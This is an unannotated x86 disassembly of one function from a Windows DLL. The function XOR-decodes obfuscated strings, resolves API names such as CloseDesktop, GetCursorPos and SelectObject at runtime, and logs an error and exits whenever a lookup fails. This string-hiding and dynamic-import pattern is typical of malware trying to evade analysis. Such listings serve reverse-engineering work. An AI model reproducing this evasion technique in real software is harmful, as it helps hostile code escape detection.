xor byte [esp + ecx + 0x7fb], al
inc ecx
cmp ecx, 0x21
jl 0x1001a570
lea eax, [esp + 0x7fb]
mov byte [esp + 0x81c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x74], 0xa0
mov al, 0xf2
xor al, byte [esp + 0x74]
mov cl, 0xc5
mov bl, cl
mov byte [esp + 0x75], al
mov al, byte [esp + 0x74]
mov dh, bl
xor cl, al
mov byte [esp + 0xc], 0xe3
xor bl, al
mov byte [esp + 0x76], cl
xor dh, al
mov byte [esp + 0x7e], 0
mov dl, 0xcc
mov byte [esp + 0x78], bl
xor dl, al
mov byte [esp + 0x7b], dh
mov ah, 0xc1
mov byte [esp + 0x77], dl
xor ah, al
mov byte [esp + 0x7e], 0
mov ch, 0xd3
mov byte [esp + 0x79], ah
xor ch, al
mov bh, 0xe4
xor bh, al
mov byte [esp + 0x7a], ch
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x74]
mov byte [esp + 0x7d], al
lea eax, [esp + 0x75]
push eax
push dword [0x100b12cc]
mov byte [esp + 0x84], bh
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1444], eax
test eax, eax
jne 0x1001a6a2
movaps xmm0, xmmword [0x100a12f0]
movups xmmword [esp + 0x94f], xmm0
mov dword [esp + 0x96f], 0x7d5a3c5f
movaps xmm0, xmmword [0x100a1030]
movups xmmword [esp + 0x95f], xmm0
mov word [esp + 0x973], 0x7075
mov byte [esp + 0x975], cl
nop dword [eax]
mov al, byte [esp + 0x94f]
xor byte [esp + ecx + 0x950], al
inc ecx
cmp ecx, 0x25
jl 0x1001a670
lea eax, [esp + 0x950]
mov byte [esp + 0x975], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1ad0]
movups xmmword [esp + 0x436], xmm0
mov word [esp + 0x446], 0xf0
nop dword [eax + eax]
mov al, byte [esp + 0x436]
xor byte [esp + ecx + 0x437], al
inc ecx
cmp ecx, 0x10
jl 0x1001a6c0
lea eax, [esp + 0x437]
mov byte [esp + 0x447], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1448], eax
test eax, eax
jne 0x1001a782
movaps xmm0, xmmword [0x100a1910]
movups xmmword [esp + 0x142d], xmm0
mov dword [esp + 0x144d], 0xc3d5f4d4
movaps xmm0, xmmword [0x100a18e0]
movups xmmword [esp + 0x143d], xmm0
mov dword [esp + 0x1451], 0xc0dfc4db
mov dword [esp + 0x1455], 0xd9d1f690
mov word [esp + 0x1459], 0xdc
nop dword [eax]
mov al, byte [esp + 0x142d]
xor byte [esp + ecx + 0x142e], al
inc ecx
cmp ecx, 0x2c
jl 0x1001a750
lea eax, [esp + 0x142e]
mov byte [esp + 0x145a], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0e90]
movups xmmword [esp + 0x78b], xmm0
mov dword [esp + 0x79b], 0x3d223f36
mov dword [esp + 0x79f], 0x3f392431
mov word [esp + 0x7a3], 0x73e
mov byte [esp + 0x7a5], 0
nop dword [eax]
mov al, byte [esp + 0x78b]
xor byte [esp + ecx + 0x78c], al
inc ecx
cmp ecx, 0x19
jl 0x1001a7c0
lea eax, [esp + 0x78c]
mov byte [esp + 0x7a5], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b144c], eax
test eax, eax
jne 0x1001a882
movaps xmm0, xmmword [0x100a16e0]
movups xmmword [esp + 0x1a71], xmm0
mov dword [esp + 0x1aa1], 0xad8aec9b
movaps xmm0, xmmword [0x100a1390]
movups xmmword [esp + 0x1a81], xmm0
mov word [esp + 0x1aa5], 0xa0a5
movaps xmm0, xmmword [0x100a15f0]
movups xmmword [esp + 0x1a91], xmm0
mov byte [esp + 0x1aa7], cl
nop dword [eax]
mov al, byte [esp + 0x1a71]
xor byte [esp + ecx + 0x1a72], al
inc ecx
cmp ecx, 0x35
jl 0x1001a850
lea eax, [esp + 0x1a72]
mov byte [esp + 0x1aa7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1ae0]
movups xmmword [esp + 0x448], xmm0
mov word [esp + 0x458], 0xf0
nop dword [eax + eax]
mov al, byte [esp + 0x448]
xor byte [esp + ecx + 0x449], al
inc ecx
cmp ecx, 0x10
jl 0x1001a8a0
lea eax, [esp + 0x449]
mov byte [esp + 0x459], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1450], eax
test eax, eax
jne 0x1001a962
movaps xmm0, xmmword [0x100a14c0]
movups xmmword [esp + 0x145b], xmm0
mov dword [esp + 0x147b], 0x8395b484
movaps xmm0, xmmword [0x100a13a0]
movups xmmword [esp + 0x146b], xmm0
mov dword [esp + 0x147f], 0x809f849b
mov dword [esp + 0x1483], 0x9991b6d0
mov word [esp + 0x1487], 0x9c
nop dword [eax]
mov al, byte [esp + 0x145b]
xor byte [esp + ecx + 0x145c], al
inc ecx
cmp ecx, 0x2c
jl 0x1001a930
lea eax, [esp + 0x145c]
mov byte [esp + 0x1488], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1230]
movups xmmword [esp + 0x45a], xmm0
mov word [esp + 0x46a], 0x70
nop dword [eax + eax]
mov al, byte [esp + 0x45a]
xor byte [esp + ecx + 0x45b], al
inc ecx
cmp ecx, 0x10
jl 0x1001a980
lea eax, [esp + 0x45b]
mov byte [esp + 0x46b], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1454], eax
test eax, eax
jne 0x1001aa42
movaps xmm0, xmmword [0x100a1280]
xor ecx, ecx
movups xmmword [esp + 0x1489], xmm0
mov dword [esp + 0x14a9], 0x63755474
movaps xmm0, xmmword [0x100a1240]
movups xmmword [esp + 0x1499], xmm0
mov dword [esp + 0x14ad], 0x607f647b
mov dword [esp + 0x14b1], 0x79715630
mov word [esp + 0x14b5], 0x7c
nop dword [eax]
mov al, byte [esp + 0x1489]
xor byte [esp + ecx + 0x148a], al
inc ecx
cmp ecx, 0x2c
jl 0x1001aa10
lea eax, [esp + 0x148a]
mov byte [esp + 0x14b6], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x20
mov dword [esp + 0x1a8], 0x4f4c6320
mov dword [esp + 0x1ac], 0x45644553
xor eax, eax
mov dword [esp + 0x1b0], 0x4f544b53
mov word [esp + 0x1b4], 0x50
xor byte [esp + eax + 0x1a9], cl
inc eax
cmp eax, 0xc
jge 0x1001aa87
mov cl, byte [esp + 0x1a8]
jmp 0x1001aa71
lea eax, [esp + 0x1a9]
mov byte [esp + 0x1b5], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1458], eax
test eax, eax
jne 0x1001ab32
movaps xmm0, xmmword [0x100a1830]
xor ecx, ecx
movups xmmword [esp + 0xd23], xmm0
mov dword [esp + 0xd43], 0xd0cfd4cb
movaps xmm0, xmmword [0x100a1900]
movups xmmword [esp + 0xd33], xmm0
mov dword [esp + 0xd47], 0xc9c1e680
mov word [esp + 0xd4b], 0xcc
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xd23]
xor byte [esp + ecx + 0xd24], al
inc ecx
cmp ecx, 0x28
jl 0x1001ab00
lea eax, [esp + 0xd24]
mov byte [esp + 0xd4c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x1b6], 0x34250740
mov dword [esp + 0x1ba], 0x33323503
xor eax, eax
mov dword [esp + 0x1be], 0x2f10322f
mov word [esp + 0x1c2], 0x33
xor byte [esp + eax + 0x1b7], cl
inc eax
cmp eax, 0xc
jge 0x1001ab77
mov cl, byte [esp + 0x1b6]
jmp 0x1001ab61
lea eax, [esp + 0x1b7]
mov byte [esp + 0x1c3], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b145c], eax
test eax, eax
jne 0x1001ac22
movaps xmm0, xmmword [0x100a0b10]
xor ecx, ecx
movups xmmword [esp + 0xd4d], xmm0
mov dword [esp + 0xd6d], 0x130f3012
movaps xmm0, xmmword [0x100a0c00]
movups xmmword [esp + 0xd5d], xmm0
mov dword [esp + 0xd71], 0x9012640
mov word [esp + 0xd75], 0xc
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xd4d]
xor byte [esp + ecx + 0xd4e], al
inc ecx
cmp ecx, 0x28
jl 0x1001abf0
lea eax, [esp + 0xd4e]
mov byte [esp + 0xd76], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x7f], 8
mov al, 0x4b
xor al, byte [esp + 0x7f]
mov cl, 0x60
mov byte [esp + 0x80], al
mov dl, 0x69
mov al, byte [esp + 0x7f]
mov ah, 0x46
xor cl, al
mov byte [esp + 0xc], 0x5f
xor dl, al
mov byte [esp + 0x81], cl
xor ah, al
mov byte [esp + 0x89], 0
mov ch, 0x6d
mov byte [esp + 0x84], ah
xor ch, al
mov byte [esp + 0x82], dl
mov dh, 0x70
mov byte [esp + 0x85], ch
xor dh, al
mov byte [esp + 0x89], 0
mov bl, 0x7a
mov byte [esp + 0x86], dh
xor bl, al
mov bh, 0x7c
xor bh, al
mov byte [esp + 0x83], bl
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x7f]
mov byte [esp + 0x88], al
lea eax, [esp + 0x80]
push eax
push dword [0x100b12cc]
mov byte [esp + 0x8f], bh
call fcn.1001b880
mov dword [0x100b1460], eax
test eax, eax
jne 0x1001ad42
movaps xmm0, xmmword [0x100a13d0]
xor ecx, ecx
movups xmmword [esp + 0x976], xmm0
mov dword [esp + 0x996], 0x85a2c4b3
movaps xmm0, xmmword [0x100a1490]
movups xmmword [esp + 0x986], xmm0
mov word [esp + 0x99a], 0x888d
mov byte [esp + 0x99c], al
nop word [eax + eax]
mov al, byte [esp + 0x976]
xor byte [esp + ecx + 0x977], al
inc ecx
cmp ecx, 0x25
jl 0x1001ad10
lea eax, [esp + 0x977]
mov byte [esp + 0x99c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12d0]
test edx, edx
je 0x1001ae32
movaps xmm0, xmmword [0x100a18f0]
xor ecx, ecx
movups xmmword [esp + 0x6d5], xmm0
mov dword [esp + 0x6e5], 0xd3c5c3cf
mov dword [esp + 0x6e9], 0xc4c9f3d3
mov byte [esp + 0x6ed], 0
nop
mov al, byte [esp + 0x6d5]
xor byte [esp + ecx + 0x6d6], al
inc ecx
cmp ecx, 0x17
jl 0x1001ad80
lea eax, [esp + 0x6d6]
mov byte [esp + 0x6ed], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1464], eax
test eax, eax
jne 0x1001ae32
movaps xmm0, xmmword [0x100a0d40]
xor ecx, ecx
movups xmmword [esp + 0x1963], xmm0
mov dword [esp + 0x1993], 0x282d2502
movaps xmm0, xmmword [0x100a0d90]
movups xmmword [esp + 0x1973], xmm0
mov byte [esp + 0x1997], al
movaps xmm0, xmmword [0x100a1150]
movups xmmword [esp + 0x1983], xmm0
nop dword [eax]
mov al, byte [esp + 0x1963]
xor byte [esp + ecx + 0x1964], al
inc ecx
cmp ecx, 0x33
jl 0x1001ae00
lea eax, [esp + 0x1964]
mov byte [esp + 0x1997], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12d4]
test edx, edx
je 0x1001af22
movaps xmm0, xmmword [0x100a0c40]
xor ecx, ecx
movups xmmword [esp + 0x5a2], xmm0
mov dword [esp + 0x5b2], 0x9330d0f
mov word [esp + 0x5b6], 4
nop word [eax + eax]
mov al, byte [esp + 0x5a2]
xor byte [esp + ecx + 0x5a3], al
inc ecx
cmp ecx, 0x14
jl 0x1001ae70
lea eax, [esp + 0x5a3]
mov byte [esp + 0x5b7], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1468], eax
test eax, eax
jne 0x1001af22
movaps xmm0, xmmword [0x100a1600]
xor ecx, ecx
movups xmmword [esp + 0x172d], xmm0
mov word [esp + 0x175d], 0xac
movaps xmm0, xmmword [0x100a1620]
movups xmmword [esp + 0x173d], xmm0
movaps xmm0, xmmword [0x100a1690]
movups xmmword [esp + 0x174d], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x172d]
xor byte [esp + ecx + 0x172e], al
inc ecx
cmp ecx, 0x30
jl 0x1001aef0
lea eax, [esp + 0x172e]
mov byte [esp + 0x175e], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12d8]
test edx, edx
je 0x1001b662
movaps xmm0, xmmword [0x100a0f80]
xor ecx, ecx
movups xmmword [esp + 0x4ce], xmm0
mov dword [esp + 0x4de], 0x636445
nop dword [eax]
mov al, byte [esp + 0x4ce]
xor byte [esp + ecx + 0x4cf], al
inc ecx
cmp ecx, 0x12
jl 0x1001af50
lea eax, [esp + 0x4cf]
mov byte [esp + 0x4e1], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b146c], eax
test eax, eax
jne 0x1001aff2
movaps xmm0, xmmword [0x100a1aa0]
movups xmmword [esp + 0x15a5], xmm0
movaps xmm0, xmmword [0x100a1a10]
movups xmmword [esp + 0x15b5], xmm0
movaps xmm0, xmmword [0x100a0ac0]
movups xmmword [esp + 0x15c5], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x15a5]
xor byte [esp + ecx + 0x15a6], al
inc ecx
cmp ecx, 0x2e
jl 0x1001afc0
lea eax, [esp + 0x15a6]
mov byte [esp + 0x15d4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1ac0]
movups xmmword [esp + 0x46c], xmm0
mov word [esp + 0x47c], 0xee
nop dword [eax + eax]
mov al, byte [esp + 0x46c]
xor byte [esp + ecx + 0x46d], al
inc ecx
cmp ecx, 0x10
jl 0x1001b010
lea eax, [esp + 0x46d]
mov byte [esp + 0x47d], 0
push eax
push dword [0x100b12d8]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1470], eax
test eax, eax
jne 0x1001b0d2
movaps xmm0, xmmword [0x100a14c0]
xor ecx, ecx
movups xmmword [esp + 0x14b7], xmm0
mov dword [esp + 0x14d7], 0x9395a3b2
movaps xmm0, xmmword [0x100a1780]
movups xmmword [esp + 0x14c7], xmm0
mov dword [esp + 0x14db], 0x9e9f9984
mov dword [esp + 0x14df], 0x9991b6d0
mov word [esp + 0x14e3], 0x9c
nop dword [eax]
mov al, byte [esp + 0x14b7]
xor byte [esp + ecx + 0x14b8], al
inc ecx
cmp ecx, 0x2c
jl 0x1001b0a0
lea eax, [esp + 0x14b8]
mov byte [esp + 0x14e4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x1c4], 0x6c655300
mov dword [esp + 0x1c8], 0x4f746365
xor eax, eax
mov dword [esp + 0x1cc], 0x63656a62
mov word [esp + 0x1d0], 0x74
xor byte [esp + eax + 0x1c5], cl
inc eax
cmp eax, 0xc
jge 0x1001b117
mov cl, byte [esp + 0x1c4]
jmp 0x1001b101
lea eax, [esp + 0x1c5]
mov byte [esp + 0x1d1], 0
push eax
push dword [0x100b12d8]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1474], eax
test eax, eax
jne 0x1001b1c2
movaps xmm0, xmmword [0x100a1380]
xor ecx, ecx
movups xmmword [esp + 0xd77], xmm0
mov dword [esp + 0xd97], 0x9483858a
movaps xmm0, xmmword [0x100a1350]
movups xmmword [esp + 0xd87], xmm0
mov dword [esp + 0xd9b], 0x8981a6c0
mov word [esp + 0xd9f], 0x8c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xd77]
xor byte [esp + ecx + 0xd78], al
inc ecx
cmp ecx, 0x28
jl 0x1001b190
lea eax, [esp + 0xd78]
mov byte [esp + 0xda0], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, 0x84
mov byte [esp + 0x3e], 0xc0
mov dh, al
mov byte [esp + 0x47], 0
xor al, byte [esp + 0x3e]
mov cl, 0xa5
mov byte [esp + 0x3f], al
mov bl, cl
mov al, byte [esp + 0x3e]
mov ah, 0xb4
mov ch, cl
mov byte [esp + 0x47], 0
xor ah, al
mov dl, 0xac
xor cl, al
mov byte [esp + 0x43], ah
xor ch, al
mov byte [esp + 0x40], cl
mov bh, 0x83
mov byte [esp + 0x44], ch
xor dl, al
xor bl, al
xor dh, al
mov byte [esp + 0x41], dl
xor bh, al
mov byte [esp + 0x42], bl
lea eax, [esp + 0x3f]
mov byte [esp + 0x45], dh
push eax
push dword [0x100b12d8]
mov ecx, 0x100b12b8
mov byte [esp + 0x4e], bh
call fcn.1001b880
mov dword [0x100b1478], eax
test eax, eax
jne 0x1001b2a2
movaps xmm0, xmmword [0x100a1280]
xor ecx, ecx
movups xmmword [esp + 0x88d], xmm0
mov dword [esp + 0x8ad], 0x79715630
movaps xmm0, xmmword [0x100a0ff0]
movups xmmword [esp + 0x89d], xmm0
mov word [esp + 0x8b1], 0x7c
nop
mov al, byte [esp + 0x88d]
xor byte [esp + ecx + 0x88e], al
inc ecx
cmp ecx, 0x24
jl 0x1001b270
lea eax, [esp + 0x88e]
mov byte [esp + 0x8b2], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x1d2], 0x2c250440
mov dword [esp + 0x1d6], 0xf253425
xor eax, eax
mov dword [esp + 0x1da], 0x23252a22
mov word [esp + 0x1de], 0x34
xor byte [esp + eax + 0x1d3], cl
inc eax
cmp eax, 0xc
jge 0x1001b2e7
mov cl, byte [esp + 0x1d2]
jmp 0x1001b2d1
lea eax, [esp + 0x1d3]
mov byte [esp + 0x1df], 0
push eax
push dword [0x100b12d8]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b147c], eax
test eax, eax
jne 0x1001b392
movaps xmm0, xmmword [0x100a0b10]
movups xmmword [esp + 0xda1], xmm0
mov dword [esp + 0xdc1], 0x1403050a
movaps xmm0, xmmword [0x100a0b00]
movups xmmword [esp + 0xdb1], xmm0
mov dword [esp + 0xdc5], 0x9012640
mov word [esp + 0xdc9], 0xc
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xda1]
xor byte [esp + ecx + 0xda2], al
inc ecx
cmp ecx, 0x28
jl 0x1001b360
lea eax, [esp + 0xda2]
mov byte [esp + 0xdca], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1980]
movups xmmword [esp + 0x68b], xmm0
mov dword [esp + 0x69b], 0xc4d9f2d5
mov dword [esp + 0x69f], 0xc0d1dd
nop word [eax + eax]
mov al, byte [esp + 0x68b]
xor byte [esp + ecx + 0x68c], al
inc ecx
cmp ecx, 0x16
jl 0x1001b3c0
lea eax, [esp + 0x68c]
mov byte [esp + 0x6a2], 0
push eax
push dword [0x100b12d8]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1480], eax
test eax, eax
jne 0x1001b472
movaps xmm0, xmmword [0x100a0bb0]
xor ecx, ecx
movups xmmword [esp + 0x18c5], xmm0
mov dword [esp + 0x18f5], 0x40109
movaps xmm0, xmmword [0x100a0b50]
movups xmmword [esp + 0x18d5], xmm0
movaps xmm0, xmmword [0x100a0da0]
movups xmmword [esp + 0x18e5], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x18c5]
xor byte [esp + ecx + 0x18c6], al
inc ecx
cmp ecx, 0x32
jl 0x1001b440
lea eax, [esp + 0x18c6]
mov byte [esp + 0x18f8], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x8a], 0x20
mov al, 0x67
xor al, byte [esp + 0x8a]
mov dl, 0x54
mov byte [esp + 0x8b], al
mov bh, dl
mov al, byte [esp + 0x8a]
mov cl, 0x45
xor cl, al
mov byte [esp + 0xc], 0x53
xor dl, al
mov byte [esp + 0x8c], cl
xor bh, al
mov byte [esp + 0x94], 0
mov ah, 0x69
mov byte [esp + 0x8d], dl
xor ah, al
mov byte [esp + 0x92], bh
mov ch, 0x62
mov byte [esp + 0x8f], ah
xor ch, al
mov byte [esp + 0x94], 0
mov dh, 0x49
mov byte [esp + 0x90], ch
xor dh, al
mov bl, 0x64
xor bl, al
mov byte [esp + 0x91], dh
mov al, byte [esp + 0xc]
mov ecx, 0x100b12b8
xor al, byte [esp + 0x8a]
mov byte [esp + 0x93], al
lea eax, [esp + 0x8b]
push eax
push dword [0x100b12d8]
mov byte [esp + 0x96], bl
call fcn.1001b880
mov dword [0x100b1484], eax
test eax, eax
jne 0x1001b5a2
movaps xmm0, xmmword [0x100a1bf0]
xor ecx, ecx
movups xmmword [esp + 0x99d], xmm0
mov dword [esp + 0x9bd], 0xfddabcef
movaps xmm0, xmmword [0x100a1a30]
movups xmmword [esp + 0x9ad], xmm0
mov word [esp + 0x9c1], 0xf0f5
mov byte [esp + 0x9c3], al
nop word [eax + eax]
mov al, byte [esp + 0x99d]
xor byte [esp + ecx + 0x99e], al
inc ecx
cmp ecx, 0x25
jl 0x1001b570
lea eax, [esp + 0x99e]
mov byte [esp + 0x9c3], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dh, 0x50
mov byte [esp + 0x29], 0
mov al, 0x12
mov byte [esp + 0x22], dh
mov bl, al
mov byte [esp + 0x29], 0
mov ah, 0x3c
xor al, dh
xor ah, dh
mov byte [esp + 0x23], al
mov dl, 0x24
mov byte [esp + 0x27], ah
mov ch, dl
lea eax, [esp + 0x23]
mov cl, 0x39
xor ch, dh
xor cl, dh
mov byte [esp + 0x28], ch
push eax
push dword [0x100b12d8]
mov byte [esp + 0x2c], cl
xor dl, dh
xor bl, dh
mov byte [esp + 0x2d], dl
mov ecx, 0x100b12b8
mov byte [esp + 0x2e], bl
call fcn.1001b880
mov dword [0x100b1488], eax
test eax, eax
jne 0x1001b662
movaps xmm0, xmmword [0x100a1aa0]
xor ecx, ecx
movups xmmword [esp + 0x81d], xmm0
mov dword [esp + 0x83d], 0xe4e1e9
movaps xmm0, xmmword [0x100a18a0]
movups xmmword [esp + 0x82d], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x81d]
xor byte [esp + ecx + 0x81e], al
inc ecx
cmp ecx, 0x22
jl 0x1001b630
lea eax, [esp + 0x81e]
mov byte [esp + 0x840], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100b12dc], 0
je 0x1001b842
movaps xmm0, xmmword [str._3_]
xor ecx, ecx
movups xmmword [esp + 0x341], xmm0
mov al, byte [esp + 0x341]
xor byte [esp + ecx + 0x342], al
inc ecx
cmp ecx, 0xe
jl 0x1001b680
lea eax, [esp + 0x342]
mov byte [esp + 0x350], 0
push eax
push dword [0x100b12dc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b148c], eax
test eax, eax
jne 0x1001b742
movaps xmm0, xmmword [0x100a1bc0]
xor ecx, ecx
movups xmmword [esp + 0x11b0], xmm0
mov dword [esp + 0x11d0], 0xfef6d1fd
movaps xmm0, xmmword [0x100a1b20]
movups xmmword [esp + 0x11c0], xmm0
mov dword [esp + 0x11d4], 0xdeb8cff7
mov dword [esp + 0x11d8], 0xf4f1f9
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x11b0]
xor byte [esp + ecx + 0x11b1], al
inc ecx
cmp ecx, 0x2a
jl 0x1001b710
lea eax, [esp + 0x11b1]
mov byte [esp + 0x11db], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc8
mov dword [esp + 0x2b2], 0xada09bc8
mov dword [esp + 0x2b6], 0xb08da4a4
xor eax, eax
mov dword [esp + 0x2ba], 0xbcbdabad
mov word [esp + 0x2be], 0x9fad
mov byte [esp + 0x2c0], 0
nop dword [eax]
xor byte [esp + eax + 0x2b3], cl
inc eax
cmp eax, 0xd
jge 0x1001b796
mov cl, byte [esp + 0x2b2]
jmp 0x1001b780
lea eax, [esp + 0x2b3]
mov byte [esp + 0x2c0], 0
push eax
push dword [0x100b12dc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1490], eax
test eax, eax
jne 0x1001b842
movaps xmm0, xmmword [0x100a0e60]
xor ecx, ecx
movups xmmword [esp + 0x1025], xmm0
mov dword [esp + 0x1045], 0x31202137
movaps xmm0, xmmword [0x100a0de0]
movups xmmword [esp + 0x1035], xmm0
mov dword [esp + 0x1049], 0x35127403
mov word [esp + 0x104d], 0x383d
mov byte [esp + 0x104f], al
nop word [eax + eax]
mov al, byte [esp + 0x1025]
xor byte [esp + ecx + 0x1026], al
inc ecx
cmp ecx, 0x29
jl 0x1001b810
lea eax, [esp + 0x1026]
mov byte [esp + 0x104f], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov eax, 0x100b12b8
pop ebx
mov esp, ebp
pop ebp
ret